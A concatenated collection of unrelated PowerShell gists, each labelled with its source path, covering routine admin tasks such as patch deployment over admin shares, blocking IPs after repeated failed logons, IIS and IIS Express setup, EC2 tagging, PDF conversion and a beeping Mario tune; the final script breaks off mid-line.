# Get User/Pass $Cred = Get-Credential # Add Quest CMDLETS Add-PSSnapin Quest.ActiveRoles.ADManagement -WarningAction SilentlyContinue -ErrorAction SilentlyContinue # Get Computer's from AD $Computers = Get-QADComputer -SearchRoot "OU=Workstations,DC=Domain,DC=com" -Credential $Cred # Import BITS for the file transfers Import-Module BitsTransfer # Let's Copy the files! Function Deploy { Clear-Host $Computers | ForEach-Object { # Format Computer Name $Computer = $_.name $FileToCopy = "C:\Users\Public\File.Here" # Check to see if the computer is online $Online = Test-Connection -Quiet -ComputerName $Computer IF ($Online -eq $true) { # If Online discover if system is 32 or 64 bit $WMI = Get-WmiObject -Credential $Cred -Class Win32_OperatingSystem -ComputerName $Computer $OSArch = $WMI.OSArchitecture IF ($OSArch -eq '64-bit') { # 64 bit systems Start-BitsTransfer -Source $FileToCopy -Credential $cred -Description "$Computer - Patch" -Destination "\\$Computer\C$\Program Files (x86)\APPFOLDER\SubFolder\File.Here" } ELSE { # 32 bit systems Start-BitsTransfer -Source $FileToCopy -Credential $cred -Description "$Computer - Patch" -Destination "\\$Computer\C$\Program Files\APPFOLDER\SubFolder\File.Here" } } } } <# For finding MD5 hash of files Taken from: author:fuhj([email protected] ,http://txj.shell.tor.hu) In hind sight I guess I could have used get-sha1 from powershell powerpack. #> function Get-MD5 ([System.IO.FileInfo] $file = $(throw 'Usage: Get-MD5 [System.IO.FileInfo]')) { $stream = $null; $cryptoServiceProvider = [System.Security.Cryptography.MD5CryptoServiceProvider]; $hashAlgorithm = new-object $cryptoServiceProvider $stream = $file.OpenRead(); $hashByteArray = $hashAlgorithm.ComputeHash($stream); $stream.Close(); # We have to be sure that we close the file stream if any exceptions are thrown. trap {if ($stream -ne $null) {$stream.Close();} break;} return [string]$hashByteArray; } # Let's check the versions! # This is called in the logging function Function GetFileInfo { # Check's to see if the system is online $Online = Test-Connection -Quiet -ComputerName $Computer IF ($Online -eq $true) { # If Online discover if system is 32 or 64 bit $WMI = Get-WmiObject -Credential $Cred -Class Win32_OperatingSystem -ComputerName $Computer $OSArch = $WMI.OSArchitecture IF ($OSArch -eq '64-bit') { # 64 bit systems $File = "\\$Computer\C$\Program Files (x86)\APPHERE\SubFolder\File.here" IF ((Test-Path $file) -eq $true) { $MD5 = Get-MD5 $File IF ($MD5 -eq "71 138 251 146 147 253 178 99 136 67 73 107 206 247 60 235"){ $c.Cells.Item($intRow,2) = "PATCHED"} ELSE {$c.Cells.Item($intRow,2) = "NOT PATCHED"} } ELSE {$c.Cells.Item($intRow,2) = "FILE MISSING OR ACCESS DENIED"} } ELSE { # 32 bit systems $File = "\\$Computer\C$\Program Files\APPHERE\SubFolder\File.here" IF ((Test-Path $file) -eq $true) { $MD5 = Get-MD5 $File IF ($MD5 -eq "71 138 251 146 147 253 178 99 136 67 73 107 206 247 60 235"){ $c.Cells.Item($intRow,2) = "PATCHED"} ELSE {$c.Cells.Item($intRow,2) = "NOT PATCHED"} } ELSE {$c.Cells.Item($intRow,2) = "FILE MISSING OR ACCESS DENIED"} } } # If Offline mark as such ELSE {$c.Cells.Item($intRow,2) = "OFFLINE"} } # Let's log this with... EXCEL! Function LogIT { # Generate Excel Document $a = New-Object -comobject Excel.Application # Let's the document be seen otherwise it would run the the background $a.visible = $True # Adds the workbook $b = $a.Workbooks.Add() # Sets up the Sheet $c = $b.Worksheets.Item(1) # Make the Headers $c.Cells.Item(1,1) = "Machine Name" $c.Cells.Item(1,2) = "Version" $c.Cells.Item(1,3) = "Report Time Stamp" # Set Font & Color $d = $c.UsedRange $d.Interior.ColorIndex = 19 $d.Font.ColorIndex = 11 # I like my headers to be bold. $d.Font.Bold = $True # Starts writing in the next row $intRow = 2 # Get the data $Computers | ForEach-Object { # Format the computer Name $Computer = $_.name # Input the computer name $c.Cells.Item($intRow,1) = $Computer # Get the file info GetFileInfo # Put's in the date $c.Cells.Item($intRow,3) = Get-date # Got to the next row $intRow = $intRow + 1 } # Formats the data $d.EntireColumn.AutoFit() } # Oh Crap, bad things are happening! Need to backout of this NOW! Function DangerWillRobinson { $Computers | ForEach-Object { # Format Computer Name $Computer = $_.name # Check to see if the computer is online $Online = Test-Connection -Quiet -ComputerName $Computer IF ($Online -eq $true) { # If Online discover if system is 32 or 64 bit $WMI = Get-WmiObject -Credential $Cred -Class Win32_OperatingSystem -ComputerName $Computer $OSArch = $WMI.OSArchitecture IF ($OSArch -eq '64-bit') { # 64 bit systems $FILE = Get-WMIObject -computer $Computer -Credential $Cred -query "Select * From CIM_DataFile Where Name ='C:\\Program Files (x86)\\YOUAPP\\APPSSUBFOLDER\\FILE.HERE'" $FILE.Delete() } ELSE { # 32 bit systems $FILE = Get-WMIObject -computer $Computer -Credential $Cred -query "Select * From CIM_DataFile Where Name ='C:\\Program Files\\YOUAPP\\APPSSUBFOLDER\\FILE.HERE'" $FILE.Delete() } } } } Deploy LogIT
PowerShellCorpus/GithubGist/stanleystl_5870540_raw_4fa5dc90e6b4c9d019ac651f588e1161788e86aa_block_ipaddr_failaudit.ps1
stanleystl_5870540_raw_4fa5dc90e6b4c9d019ac651f588e1161788e86aa_block_ipaddr_failaudit.ps1
$DT = [DateTime]::Now.AddDays(-1) # check only last 24 hours $l = Get-EventLog -LogName 'Security' -InstanceId 4625 -After $DT | Select-Object @{n='IpAddress';e={$_.ReplacementStrings[-2]} } # select Ip addresses that has audit failure $g = $l | group-object -property IpAddress | where {$_.Count -gt 20} | Select -property Name # get ip adresses, that have more than 20 wrong logins $fw = New-Object -ComObject hnetcfg.fwpolicy2 # get firewall object $ar = $fw.rules | where {$_.name -eq 'BlockAttackers'} # get firewall rule named 'BlockAttackers' (must be created manually) $arRemote = $ar.RemoteAddresses -split(',') #split the existing IPs into an array so we can easily search for existing IPs $w = $g | where {$_.Name.Length -gt 1 -and !($arRemote -contains $_.Name + '/255.255.255.255') } # get ip addresses that are not already in firewal rule. Include the subnet mask which is automatically added to the firewall remote IP declaration. $w| %{$ar.remoteaddresses += ',' + $_.Name} # add IPs to firewall rule
PowerShellCorpus/GithubGist/lantrix_c01d9235500072eaff9d_raw_25207e718460b3a1365912860491380e93602d5a_new_tag.ps1
lantrix_c01d9235500072eaff9d_raw_25207e718460b3a1365912860491380e93602d5a_new_tag.ps1
#get instances with specific tag $tagFilter1 = New-Object Amazon.EC2.Model.Filter $tagFilter1.Name = "tag:Environment Name" $tagFilter1.Value.Add("MyEnv") $instances = Get-EC2Instance -Filter @($tagFilter1) #New or update tag on instances foreach ($i in $instances.Instances) { New-EC2Tag -ResourceId $i.InstanceId -Tags @(@{ Key="YourTagName"; Value="YourTagValue" }) }
PowerShellCorpus/GithubGist/adoprog_5605371_raw_04ce66ad6ea26d53cfcaf3065c9dec212bc19e59_gistfile1.ps1
adoprog_5605371_raw_04ce66ad6ea26d53cfcaf3065c9dec212bc19e59_gistfile1.ps1
task Compile { exec { msbuild $buildFolder\Website\LaunchSitecore.sln /p:Configuration=Release /t:Clean } exec { msbuild $buildFolder\Website\LaunchSitecore.sln /p:Configuration=Release /t:Build } }
PowerShellCorpus/GithubGist/kmoormann_3800407_raw_fbcabc266c6c99d3b8994d83960a1464a083e71a_CombineFiles.ps1
kmoormann_3800407_raw_fbcabc266c6c99d3b8994d83960a1464a083e71a_CombineFiles.ps1
#http://www.brangle.com/wordpress/2009/08/combine-join-two-text-files-using-powershell/
PowerShellCorpus/GithubGist/timbodv_cb2d54a3bd0b0f0e3b1e_raw_8370bf7e7d9adeb2733783596e0ab918bf42a2ac_SampleSetMoeVersion.ps1
timbodv_cb2d54a3bd0b0f0e3b1e_raw_8370bf7e7d9adeb2733783596e0ab918bf42a2ac_SampleSetMoeVersion.ps1
param([string]$MOEVersion) New-Item HKLM:SOFTWARE\MOE New-ItemProperty HKLM:SOFTWARE\MOE -Name Version -Value "$MOEVersion" $computerDetails = Get-WmiObject Win32_ComputerSystem # clean up the manufacturer name $manufacturer = $($computerDetails.Manufacturer) $manufacturer = $manufacturer.Replace(" Inc.", "") $manufacturer = $manufacturer.Replace("innotek GmbH", "Oracle") New-ItemProperty HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\OEMInformation -Name Model -Value "$manufacturer $($computerDetails.Model) running MOE $MOEVersion"
PowerShellCorpus/GithubGist/opentable-devops_5979439_raw_36cb383494dac1b309a4254cc8657ee4dcaa7079_buildversion.ps1
opentable-devops_5979439_raw_36cb383494dac1b309a4254cc8657ee4dcaa7079_buildversion.ps1
param( [string]$PATH_TO_BUILD_FOLDER = "", [string]$BUILD_NUMBER = "") try { $doc = New-Object System.Xml.XmlDocument $doc.Load("$PATH_TO_BUILD_FOLDER\AppSettings.config") $BUILD = $doc.get_DocumentElement().SelectSingleNode("//add[@key='BuildNumber']") $BUILD.value = $BUILD_NUMBER $doc.Save("$PATH_TO_BUILD_FOLDER\AppSettings.config") } catch { Write-Output "##teamcity[message text='Error Writing BuildNumber to AppSettings file' errorDetails='$_.Exception.Message' status='ERROR']" }
PowerShellCorpus/GithubGist/aigarsdz_5575572_raw_2d2d6d02d6e135e9a698400c40a57a7ac36717cb_powershell-prompt.ps1
aigarsdz_5575572_raw_2d2d6d02d6e135e9a698400c40a57a7ac36717cb_powershell-prompt.ps1
function prompt { $current_location = Get-Location $home_pattern = $home -replace '\\', '\\' $current_location = $current_location -replace $home_pattern, '~' $current_dir = $current_location.split('\')[-1] Write-Host " $([char]0x2192) " -foregroundcolor red -nonewline Write-Host $current_dir -foregroundcolor yellow -nonewline if (test-path .git) { $current_git_branch = split-path -leaf (git symbolic-ref HEAD) Write-Host " git:($current_git_branch)" -nonewline } " " }
PowerShellCorpus/GithubGist/peaeater_9f5851028d51a5bc9c1c_raw_eead277de310c04d9a5562666d0eddb2781743e3_pdf2png.ps1
peaeater_9f5851028d51a5bc9c1c_raw_eead277de310c04d9a5562666d0eddb2781743e3_pdf2png.ps1
# convert pdf to png # requires imagemagick w/ ghostscript param ( [Parameter(Mandatory=$true,ValueFromPipeline=$true,Position=0)] [ValidateScript({[System.IO.Path]::GetExtension($_) -eq ".pdf"})] [string]$in ) process { $basePath = split-path $script:myinvocation.mycommand.path $file = new-object System.IO.FileInfo([System.IO.Path]::Combine($basePath, $in)) $input = ('{0}' -f $file.FullName) $outdir = ('{0}\png' -f $file.DirectoryName) if (!(test-path $outdir)) { mkdir $outdir } $o = ('{0}\{1}.png' -f $outdir, 'page') $args = "-verbose -density 300 `"$input`" `"$o`"" start-process convert $args -wait -NoNewWindow # rename and renumber (from 1 instead of 0) $pages = ls "$outdir\*-*.*" -include *.png foreach ($page in $pages) { $m = ([regex]"^(.+\-)(\d+)(\.png)$").matches($page.name) $title = $m.Groups[1].Value $num = $m.Groups[2].Value $ext = $m.Groups[3].Value $nextNum = 1 + $num $newName = $("{0}{1}" -f $nextNum, $ext) mv $page "$outdir\$newName" } }
PowerShellCorpus/GithubGist/jokcofbut_5019850_raw_6e99134e2e796ce38b212adcdc73c1d061347e52_UpdateToLatestLiveVersionOfAPackage_Solution.ps1
jokcofbut_5019850_raw_6e99134e2e796ce38b212adcdc73c1d061347e52_UpdateToLatestLiveVersionOfAPackage_Solution.ps1
Update-Package -Id MyPackage -Source "MyRepo"
PowerShellCorpus/GithubGist/rismoney_1012af6cce0bd962f2f4_raw_3736c8a3139e43bc4fcf6e45b3d5f1afa96492cd_gistfile1.ps1
rismoney_1012af6cce0bd962f2f4_raw_3736c8a3139e43bc4fcf6e45b3d5f1afa96492cd_gistfile1.ps1
saw your post here- #http://forums.iis.net/t/1200953.aspx?Modifying+advanced+application+settings+with+Powershell #figured I would post this since I saw you were having an issue setting Citrix Director IIS settings via powershell. get-webconfigurationproperty -PSPath "IIS:\Sites\Default Web Site\Director" -filter "/appSettings /add[@key='Service.AutoDiscoveryAddresses']" -name value |select value and set-webconfigurationproperty -PSPath "IIS:\Sites\Default Web Site\Director" -filter "/appSetting s/add[@key='Service.AutoDiscoveryAddresses']" -name value -value "foo.bar.com" 
PowerShellCorpus/GithubGist/vgrem_fe0cda40b5ed0cd9070c_raw_7d4e3a721b1246ae295d17cb5c8b3755934ea106_Invoke-SPORestMethod.ps1
vgrem_fe0cda40b5ed0cd9070c_raw_7d4e3a721b1246ae295d17cb5c8b3755934ea106_Invoke-SPORestMethod.ps1
.\Get-SPOAccessToken.ps1 <# .Synopsis Sends an HTTP or HTTPS request to a SharePoint Online REST-compliant web service. .DESCRIPTION This function sends an HTTP or HTTPS request to a Representational State Transfer (REST)-compliant ("RESTful") SharePoint Online web service. .EXAMPLE Invoke-SPORestMethod -Uri "https://contoso.sharepoint.com/_api/web" -AccessToken $accessToken #> Function Invoke-SPORestMethod() { Param( [Uri]$Uri, [Object]$Body, [Hashtable]$Headers, [Microsoft.PowerShell.Commands.WebRequestMethod]$Method = [Microsoft.PowerShell.Commands.WebRequestMethod]::Get, [string]$AccessToken ) $contentType = 'application/json;odata=verbose' if(-not $Headers) { $Headers = @{} } $Headers["Accept"] = "application/json;odata=verbose" $Headers.Add('Authorization','Bearer ' + $AccessToken) Invoke-RestMethod -Method $Method -Uri $Uri -ContentType $contentType -Headers $Headers -Body $Body }
PowerShellCorpus/GithubGist/dfinke_3974322_raw_094711bd3d87e719e88e4bf7636d6e432b0de5ad_gistfile1.ps1
dfinke_3974322_raw_094711bd3d87e719e88e4bf7636d6e432b0de5ad_gistfile1.ps1
var name = "System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"; var asmName = new System.Reflection.AssemblyName(name); var asm = System.Reflection.Assembly.Load(asmName);
PowerShellCorpus/GithubGist/BrunoCaimar_759716_raw_a487cd00a8051d6e5c9bac1df6e7e70e701d9239_UninstallGcx.ps1
BrunoCaimar_759716_raw_a487cd00a8051d6e5c9bac1df6e7e70e701d9239_UninstallGcx.ps1
#$a = "Gisconnex WM 1.0.2", "Gisconnex PD 1.0.11", "Gisconnex ADM 1.0.11" $a = "Gisconnex WM 2.0.0", "Gisconnex PD 2.0.0", "Gisconnex ADM 2.0.0" # Read-Host Para ler do prompt # Write-Host Para escrever no prompt $Keys = Get-ChildItem HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall $Items = $keys |foreach-object {Get-ItemProperty $_.PsPath} foreach ($gc in $a) { foreach ($item in $items) { if ($item.Displayname -eq $gc) { #$item echo $item.DisplayName echo $item.DisplayVersion echo $item.InstallDate echo $item.UninstallString echo '' $execString = $item.UninstallString.split(" ") #& $execString[0] $execString[1].replace("I", "X") # Para chamar uninstal direto & $execString[0] $execString[1] Read-Host "Pressione enter apos o termino da remocao para continuar" } } }
PowerShellCorpus/GithubGist/molsondry_6174083_raw_9acf2c70cb77d2c987cb325a14270050a348eb36_nikolaus.ps1
molsondry_6174083_raw_9acf2c70cb77d2c987cb325a14270050a348eb36_nikolaus.ps1
# Tage bis Nikolaus cls $nikolaus=New-Object System.DateTime(2011,12,6) $today = Get-Date $nikolausTag=$nikolaus.get_DayOfYear() $todayTag=$today.get_DayOfYear() Write-Host ("Es sind noch "+($nikolausTag-$todayTag)+" Tage bis Nikolaus") #test
PowerShellCorpus/GithubGist/simonmichael_85b1139360d245d13f1b_raw_df6b371bb1bde2bcc13b3b66a5828e4ceaebbb33_gistfile1.ps1
simonmichael_85b1139360d245d13f1b_raw_df6b371bb1bde2bcc13b3b66a5828e4ceaebbb33_gistfile1.ps1
~/src/hledger$ hledger balance -f data/sample.journal -p 'monthly from 2008 to 2008/7' Balance changes in 2008h1: || 2008/01 2008/02 2008/03 2008/04 2008/05 2008/06 ======================++======================================================= assets:bank:checking || $1 0 0 0 0 0 assets:bank:saving || 0 0 0 0 0 $1 assets:cash || 0 0 0 0 0 $-2 expenses:food || 0 0 0 0 0 $1 expenses:supplies || 0 0 0 0 0 $1 income:gifts || 0 0 0 0 0 $-1 income:salary || $-1 0 0 0 0 0 ----------------------++------------------------------------------------------- || 0 0 0 0 0 0 ~/src/hledger$ hledger balance -f data/sample.journal -p 'monthly from 2008 to 2008/7' -H Ending balances (historical) in 2008h1: || 2008/01/31 2008/02/29 2008/03/31 2008/04/30 2008/05/31 2008/06/30 ======================++========================================================================= assets:bank:checking || $1 $1 $1 $1 $1 $1 assets:bank:saving || 0 0 0 0 0 $1 assets:cash || 0 0 0 0 0 $-2 expenses:food || 0 0 0 0 0 $1 expenses:supplies || 0 0 0 0 0 $1 income:gifts || 0 0 0 0 0 $-1 income:salary || $-1 $-1 $-1 $-1 $-1 $-1 ----------------------++------------------------------------------------------------------------- || 0 0 0 0 0 0
PowerShellCorpus/GithubGist/zippy1981_1981612_raw_714b7708ed30df138f0e9cc2d9db913ac63b12c8_Foreach-Scope.ps1
zippy1981_1981612_raw_714b7708ed30df138f0e9cc2d9db913ac63b12c8_Foreach-Scope.ps1
$script:filename = "" 1..100 | % { $script:filename = "$($env:temp)\deleteme-$($_).txt" "Code: $(Get-Random 4-9)-$($_)" } | Set-Content $script:filename
PowerShellCorpus/GithubGist/sukottosan_9747467_raw_25558c3fa8dc74b711fbacae955cb8771385ef9a_installedapps.ps1
sukottosan_9747467_raw_25558c3fa8dc74b711fbacae955cb8771385ef9a_installedapps.ps1
$InitialStartMode = Get-CimInstance -ClassName Win32_Service -Filter "Name = 'RemoteRegistry'" | Select-Object -ExpandProperty StartMode Get-Service RemoteRegistry | Set-Service -StartupType Manual | Start-Service $CurrentStartMode = Get-CimInstance -ClassName Win32_Service -Filter "Name = 'RemoteRegistry'" | Select-Object -ExpandProperty StartMode Write-Output "Original Start Mode : $InitialStartMode" Write-Output "Current Start Mode : $CurrentStartMode" $srv = 'localhost' $uninstallkey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" $type = [Microsoft.Win32.RegistryHive]::LocalMachine $reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey($type, $Srv) $regkey = $reg.OpenSubKey($uninstallkey) $subkeys = $regKey.GetSubKeyNames() foreach ($key in $subkeys){ $thisKey = $uninstallkey+"\\"+$key $thisSubKey = $reg.OpenSubKey($thiskey) $displayName = $thisSubKey.GetValue("DisplayName") Write-Host $displayName } Get-Service RemoteRegistry | Stop-Service Get-Service RemoteRegistry | Set-Service -StartupType $InitialStartMode $CurrentStartMode = Get-CimInstance -ClassName Win32_Service -Filter "Name = 'RemoteRegistry'" | Select-Object -ExpandProperty StartMode Write-Output "Original Start Mode : $InitialStartMode" Write-Output "Current Start Mode : $CurrentStartMode"
PowerShellCorpus/GithubGist/davewilson_5612674_raw_fef4daaf5e7e6c223f853734bfe4f2ea523e1133_Play-Mario.ps1
davewilson_5612674_raw_fef4daaf5e7e6c223f853734bfe4f2ea523e1133_Play-Mario.ps1
Function Play-Mario { [System.Console]::Beep(659, 125); [System.Console]::Beep(659, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(659, 125); [System.Threading.Thread]::Sleep(167); [System.Console]::Beep(523, 125); [System.Console]::Beep(659, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(784, 125); [System.Threading.Thread]::Sleep(375); [System.Console]::Beep(392, 125); [System.Threading.Thread]::Sleep(375); [System.Console]::Beep(523, 125); [System.Threading.Thread]::Sleep(250); [System.Console]::Beep(392, 125); [System.Threading.Thread]::Sleep(250); [System.Console]::Beep(330, 125); [System.Threading.Thread]::Sleep(250); [System.Console]::Beep(440, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(494, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(466, 125); [System.Threading.Thread]::Sleep(42); [System.Console]::Beep(440, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(392, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(659, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(784, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(880, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(698, 125); [System.Console]::Beep(784, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(659, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(523, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(587, 125); [System.Console]::Beep(494, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(523, 125); [System.Threading.Thread]::Sleep(250); [System.Console]::Beep(392, 125); [System.Threading.Thread]::Sleep(250); [System.Console]::Beep(330, 125); [System.Threading.Thread]::Sleep(250); [System.Console]::Beep(440, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(494, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(466, 125); [System.Threading.Thread]::Sleep(42); [System.Console]::Beep(440, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(392, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(659, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(784, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(880, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(698, 125); [System.Console]::Beep(784, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(659, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(523, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(587, 125); [System.Console]::Beep(494, 125); [System.Threading.Thread]::Sleep(375); [System.Console]::Beep(784, 125); [System.Console]::Beep(740, 125); [System.Console]::Beep(698, 125); [System.Threading.Thread]::Sleep(42); [System.Console]::Beep(622, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(659, 125); [System.Threading.Thread]::Sleep(167); [System.Console]::Beep(415, 125); [System.Console]::Beep(440, 125); [System.Console]::Beep(523, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(440, 125); [System.Console]::Beep(523, 125); [System.Console]::Beep(587, 125); [System.Threading.Thread]::Sleep(250); [System.Console]::Beep(784, 125); [System.Console]::Beep(740, 125); [System.Console]::Beep(698, 125); [System.Threading.Thread]::Sleep(42); [System.Console]::Beep(622, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(659, 125); [System.Threading.Thread]::Sleep(167); [System.Console]::Beep(698, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(698, 125); [System.Console]::Beep(698, 125); [System.Threading.Thread]::Sleep(625); [System.Console]::Beep(784, 125); [System.Console]::Beep(740, 125); [System.Console]::Beep(698, 125); [System.Threading.Thread]::Sleep(42); [System.Console]::Beep(622, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(659, 125); [System.Threading.Thread]::Sleep(167); [System.Console]::Beep(415, 125); [System.Console]::Beep(440, 125); [System.Console]::Beep(523, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(440, 125); [System.Console]::Beep(523, 125); [System.Console]::Beep(587, 125); [System.Threading.Thread]::Sleep(250); [System.Console]::Beep(622, 125); [System.Threading.Thread]::Sleep(250); [System.Console]::Beep(587, 125); [System.Threading.Thread]::Sleep(250); [System.Console]::Beep(523, 125); [System.Threading.Thread]::Sleep(1125); [System.Console]::Beep(784, 125); [System.Console]::Beep(740, 125); [System.Console]::Beep(698, 125); [System.Threading.Thread]::Sleep(42); [System.Console]::Beep(622, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(659, 125); [System.Threading.Thread]::Sleep(167); [System.Console]::Beep(415, 125); [System.Console]::Beep(440, 125); [System.Console]::Beep(523, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(440, 125); [System.Console]::Beep(523, 125); [System.Console]::Beep(587, 125); [System.Threading.Thread]::Sleep(250); [System.Console]::Beep(784, 125); [System.Console]::Beep(740, 125); [System.Console]::Beep(698, 125); [System.Threading.Thread]::Sleep(42); [System.Console]::Beep(622, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(659, 125); [System.Threading.Thread]::Sleep(167); [System.Console]::Beep(698, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(698, 125); [System.Console]::Beep(698, 125); [System.Threading.Thread]::Sleep(625); [System.Console]::Beep(784, 125); [System.Console]::Beep(740, 125); [System.Console]::Beep(698, 125); [System.Threading.Thread]::Sleep(42); [System.Console]::Beep(622, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(659, 125); [System.Threading.Thread]::Sleep(167); [System.Console]::Beep(415, 125); [System.Console]::Beep(440, 125); [System.Console]::Beep(523, 125); [System.Threading.Thread]::Sleep(125); [System.Console]::Beep(440, 125); [System.Console]::Beep(523, 125); [System.Console]::Beep(587, 125); [System.Threading.Thread]::Sleep(250); [System.Console]::Beep(622, 125); [System.Threading.Thread]::Sleep(250); [System.Console]::Beep(587, 125); [System.Threading.Thread]::Sleep(250); [System.Console]::Beep(523, 125); [System.Threading.Thread]::Sleep(625); }
PowerShellCorpus/GithubGist/stephengodbold_e01934fd093ed66249c5_raw_761947847b2588d899aa71dcc380be82021c569b_Set-LocalDevEnvironment.ps1
stephengodbold_e01934fd093ed66249c5_raw_761947847b2588d899aa71dcc380be82021c569b_Set-LocalDevEnvironment.ps1
#requires -version 2.0 param( [Parameter(Mandatory = $true)] [string] $project, [Parameter(Mandatory = $true)] [string] $hostname, [Parameter(Mandatory = $true)] [int] $port, [Parameter(Mandatory = $true)] [ValidateSet('http', 'https')] [string] $protocol ) Set-StrictMode -Version Latest $ErrorActionPreference = 'Stop' function Set-IISExpressBinding { param( $project, $hostname, $port, $protocol ) $iisExpressConfigPath = Join-Path $env:USERPROFILE 'Documents\IISExpress\config\applicationhost.config' if (-not(Test-Path($iisExpressConfigPath))) { throw "Could not locate IIS Express config under $iisExpressConfigPath" } #here be dragons. I blame XML [xml] $configContent = Get-Content $iisExpressConfigPath $binding = [String]::Format("*:{0}:{1}", $port, $hostname) $defaultTLSBinding = [String]::Format("*:{0}:{1}", $port, 'localhost') [System.Xml.XmlElement] $bindingElement = $configContent.CreateElement('binding') $bindingElement.SetAttribute('protocol', $protocol) $bindingElement.SetAttribute('bindingInformation', $binding) $configContent.configuration."system.applicationHost".sites.site | Where-Object { $_.name -eq $project } | % { $foundBinding = $_.bindings.binding | Where-Object { $_.bindingInformation -eq $binding } $localhostBinding = $_.bindings.binding | Where-Object { $_.bindingInformation -eq $defaultTLSBinding } if ((-not($foundBinding)) -and ($localhostBinding)) { $_.bindings.ReplaceChild($bindingElement, $localhostBinding) } } Set-Content $iisExpressConfigPath $configContent.InnerXml -Force } function Set-UrlACL { param( $hostname, $port, $protocol ) [UriBuilder] $urlBuilder = New-Object System.UriBuilder @($protocol, $hostname, $port) $url = $urlBuilder.ToString() #hi, it looks like you're trying to setup a different kind of environment. Can I help with that? if (-not([Uri]::IsWellFormedUriString($url, [UriKind]::Absolute))) { throw "You've supplied an invalid scheme, host name or port and we can't form a valid url!" } #netsh likes to see a trailing space, or we'll get an error 87. if (-not($url.EndsWith('/'))) { $url = $url + '/' } & netsh http add urlacl url=$url user=everyone } function Set-SSLCertificate { param( $port ) Get-ChildItem -path cert:\localmachine\my | Where-Object { $_.FriendlyName -match 'IIS Express Development Certificate' } | % { "netsh http delete sslcert `"ipport=127.0.0.1:$($port)`"" "netsh http add sslcert ipport=127.0.0.1:$($port) appid={214124cd-d05b-4309-9af9-9caa44b2b74a} certstorename=MY certhash=$($_.Thumbprint)" } | % { $_ | cmd } } $CurrentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent( ) ) if ( -not ($currentPrincipal.IsInRole( [Security.Principal.WindowsBuiltInRole]::Administrator ) ) ) { Write-Error “This script must be executed with elevated permissions!” } Set-UrlACL $hostname $port $protocol Set-SSLCertificate $port Set-IISExpressBinding $project $hostname $port $protocol
PowerShellCorpus/GithubGist/anderssonjohan_5048127_raw_914559fa7dc5ec5febf2ce90c9dfc1bb45bec970_Setup-IIS.ps1
anderssonjohan_5048127_raw_914559fa7dc5ec5febf2ce90c9dfc1bb45bec970_Setup-IIS.ps1
param( $logsDirectory, $compressionDirectory ) $ScriptDir = $MyInvocation.MyCommand.Path | split-path # https://github.com/remotex/Scripts/tree/master/Windows Set-Alias enableFeature $ScriptDir\Enable-WindowsFeature.ps1 $wantedFeatures = @() # install IIS Role $wantedFeatures += "IIS-WebServerRole" $wantedFeatures += "IIS-WebServer" $wantedFeatures += "IIS-CommonHttpFeatures" $wantedFeatures += "IIS-DefaultDocument" $wantedFeatures += "IIS-DirectoryBrowsing" $wantedFeatures += "IIS-HttpErrors" $wantedFeatures += "IIS-HttpRedirect" $wantedFeatures += "IIS-StaticContent" $wantedFeatures += "IIS-HealthAndDiagnostics" $wantedFeatures += "IIS-HttpTracing" $wantedFeatures += "IIS-CustomLogging" $wantedFeatures += "IIS-HttpLogging" $wantedFeatures += "IIS-LoggingLibraries" $wantedFeatures += "IIS-RequestMonitor" $wantedFeatures += "IIS-Performance" $wantedFeatures += "IIS-HttpCompressionDynamic" $wantedFeatures += "IIS-HttpCompressionStatic" $wantedFeatures += "IIS-Security" $wantedFeatures += "IIS-BasicAuthentication" $wantedFeatures += "IIS-WindowsAuthentication" $wantedFeatures += "IIS-RequestFiltering" $wantedFeatures += "IIS-WebServerManagementTools" $wantedFeatures += "IIS-ManagementConsole" $wantedFeatures += "IIS-ManagementScriptingTools" $wantedFeatures += "IIS-ISAPIExtensions" $wantedFeatures += "IIS-ISAPIFilter" $wantedFeatures += "IIS-NetFxExtensibility" $wantedFeatures += "IIS-ASPNET" $wantedFeatures += "IIS-ApplicationDevelopment" $wantedFeatures += "NetFx3" $wantedFeatures += "WAS-WindowsActivationService" $wantedFeatures += "WAS-NetFxEnvironment" $wantedFeatures += "WAS-ConfigurationAPI" $wantedFeatures += "WCF-HTTP-Activation" $wantedFeatures += "WCF-NonHTTP-Activation" enableFeature -features 